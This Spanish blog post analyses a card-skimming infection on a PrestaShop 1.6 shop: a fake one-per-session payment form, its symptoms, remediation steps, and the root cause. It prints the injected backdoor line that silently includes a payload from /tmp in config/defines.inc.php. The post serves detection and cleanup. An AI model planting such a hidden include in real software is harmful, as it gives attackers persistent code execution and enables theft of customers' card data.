[Solución] Nuevo virus en PrestaShop 1.6: falso formulario de tarjeta

Adam PrestaShop 05.02.2026 Reading time: 7 min

Nuevo virus en PrestaShop 1.6, más difícil de detectar que el anterior. En los últimos días hemos encontrado un nuevo caso de actividad maliciosa en una tienda…

Un nuevo virus en PrestaShop 1.6: más difícil de detectar que el anterior

En los últimos días hemos encontrado un nuevo caso de actividad maliciosa en una tienda con PrestaShop 1.6. Es importante: por ahora está confirmado un solo caso y afecta precisamente a la versión 1.6 (esto no significa que el problema no pueda aparecer en otros sitios; simplemente aún no lo hemos confirmado). Lo que distingue este ataque del anterior es la forma de mostrarse y de «enmascarar» sus rastros. En la práctica, el cliente puede ver una pantalla de pago falsa, mientras que usted, como administrador, puede no ver nada sospechoso en una sesión normal. formulario con un virus de PrestaShop

Lo que había antes: la variante con «archivos que se hacen pasar por fotos»

La oleada de ataques anterior consistía, entre otras cosas, en crear archivos que se hacían pasar por imágenes (a primera vista parecían fotos). Esta variante ya está en gran medida «descifrada»: sabemos localizarla rápidamente, filtrarla y eliminar la amenaza. Si no conoce el tema, aquí tiene la descripción de la primera versión del ataque (con ejemplos y el mecanismo): Falso formulario de tarjeta de crédito con virus: descripción y análisis.

Lo que es distinto ahora: un nuevo ataque y un falso formulario «de un solo uso»

La diferencia más importante: aparece solo una vez por sesión

La nueva variante es claramente más astuta:

el falso formulario se muestra solo una vez por sesión,
tras esa «primera exhibición» desaparece y no vuelve a aparecer, ni para el cliente ni para el administrador en la misma sesión,
para verlo de nuevo hay que entrar en modo privado / incógnito (es decir, en una sesión nueva y «limpia»).

Esto dificulta el diagnóstico, porque muchas personas comprueban el problema «actualizando la página» o simplemente en el mismo navegador.

El formulario tiene un aspecto distinto del anterior

En los casos anteriores nos encontrábamos a menudo con un añadido bastante «tosco»: a primera vista algo no encajaba con la plantilla o con el pago. Aquí es diferente: la propia pantalla es otra, más «creíble», y puede parecer un elemento del proceso de pago con tarjeta, sobre todo en checkouts donde aparecen al lado otros métodos como Przelewy24, BLIK, etc. En resumen: si recuerda el «falso» anterior, este puede engañar incluso a quienes ya han lidiado con el tema.

Importante: el virus no oculta otros pagos (p. ej. Przelewy24)

En esta nueva variante, fíjese en otra cosa más: el falso formulario no sustituye ni oculta otros métodos de pago. El checkout se ve «normal»: sigue viendo, por ejemplo, Przelewy24, BLIK, pago a plazos, etc., y el bloque sospechoso de tarjeta aparece al lado / dentro de la sección de pagos. Eso es precisamente lo que aumenta la credibilidad del ataque, porque el cliente tiene la impresión de que es simplemente un método de pago más de la tienda y no algo «en lugar de» los pagos.

Cómo reconocer que tiene este problema

Síntomas del lado del cliente

Preste atención a estas señales:

aparece de repente una pantalla que sugiere un pago con tarjeta, cuando en la tienda normalmente no es así,
un cliente informa de un «formulario extraño», una «página de pago extraña» o «ventanas con la tarjeta»,
el problema no se puede reproducir en modo normal, pero vuelve en incógnito,
los clientes ven algo que usted no logra encontrar en el panel ni en la misma sesión.

Síntomas durante las pruebas

La prueba más sencilla (y a menudo la única que lo revela):

Abra la tienda en modo privado / incógnito.
Entre en el carrito y pase al pago.
Si ve un formulario sospechoso, cierre la pestaña.
Vuelva a abrir lo mismo en la misma sesión de incógnito: puede que ya no vuelva a aparecer.
Abra una nueva ventana de incógnito: a menudo aparecerá de nuevo.

Si esta lógica se cumple, hay muchas probabilidades de que se trate de esta nueva variante.

Por qué es tan difícil de detectar

Los archivos parecen limpios

En este caso concreto:

analizamos los archivos (core + tema + overrides + módulos) y a primera vista está limpio,
no se ven «añadidos» evidentes como en la versión anterior,
por eso profundizamos: la pista más probable es la base de datos (p. ej. un fragmento inyectado en la configuración, en los contenidos del CMS, en las traducciones, en los ajustes de módulos, en hooks guardados en la BD, etc.).

Esto también explica por qué el escaneo clásico de archivos puede no mostrar nada.

Qué hacemos ahora: la lucha continúa y tenemos una protección «inmediata»

Lo más importante: la lucha continúa. Como todavía no hemos conseguido localizar con certeza el origen del falso formulario, hemos escrito un programa que funciona como un «escudo»:

detecta y tapa el falso formulario,
minimiza el riesgo antes de que lleguemos a la causa original,
nos permite seguir recopilando información de diagnóstico sin exponer a los clientes al peligro.

Es una solución temporal (pero muy práctica), porque en este tipo de ataques cuenta el tiempo de reacción, y no solo encontrar al «culpable» a la perfección en la primera hora.

Qué puede hacer ya mismo si sospecha una infección

Pasos inmediatos

compruebe el checkout en incógnito (varios intentos, distintos navegadores),
si utiliza integraciones de pago antiguas, trate el asunto como prioritario (especialmente el área de checkout y pagos),
cambie las contraseñas del panel, de FTP/SSH, de la base de datos y del panel de alojamiento,
revise los comportamientos sospechosos de los últimos días (inicios de sesión, cambios en archivos, nuevas cuentas de administrador).

Qué verificamos en segundo plano

seguimos analizando la base de datos en busca de inyecciones,
rastreamos el mecanismo «one time per session»,
mapeamos las condiciones de visualización (user-agent, referrer, idioma, moneda, fuente de tráfico).

Si tiene una tienda en PrestaShop 1.6, tómelo como una señal de advertencia: esta versión ya es antigua y los atacantes suelen apuntar precisamente a entornos más antiguos.

Solución — lo que encontramos

En este caso concreto, el origen del problema resultó ser el archivo defines.inc.php del directorio /config/. Justo al final del comentario de licencia, en la línea 25, se había añadido una instrucción:

php

*/ @include('/tmp/1');

Esa sola línea bastó para cargar código externo malicioso desde el directorio temporal del servidor (/tmp/1). El operador @ suprimía cualquier error: si el archivo no existía, no pasaba nada; si existía, se ejecutaba una carga útil arbitraria sin ningún rastro en los registros de PHP.

¿Por qué fue tan difícil de detectar? La tienda estaba muy modificada, tanto a nivel de plantilla y overrides como de los propios archivos del core. Con tantos cambios respecto a la versión original de PrestaShop 1.6, una línea adicional en un archivo de configuración se pierde fácilmente en el ruido. Los escáneres estándar que comparan los archivos con el original marcaban decenas de diferencias, lo que enmascaraba eficazmente ese único cambio realmente peligroso. Además, defines.inc.php no es el primer lugar donde se mira al buscar inyecciones: la atención suele dirigirse a las plantillas, los módulos de pago o los archivos JS.

Conclusiones: en instalaciones muy modificadas no basta con el escaneo automático; es clave revisar manualmente los archivos de configuración y compararlos con versiones limpias de PrestaShop, prestando especial atención a las instrucciones include, require, eval y file_get_contents en lugares donde no deberían estar.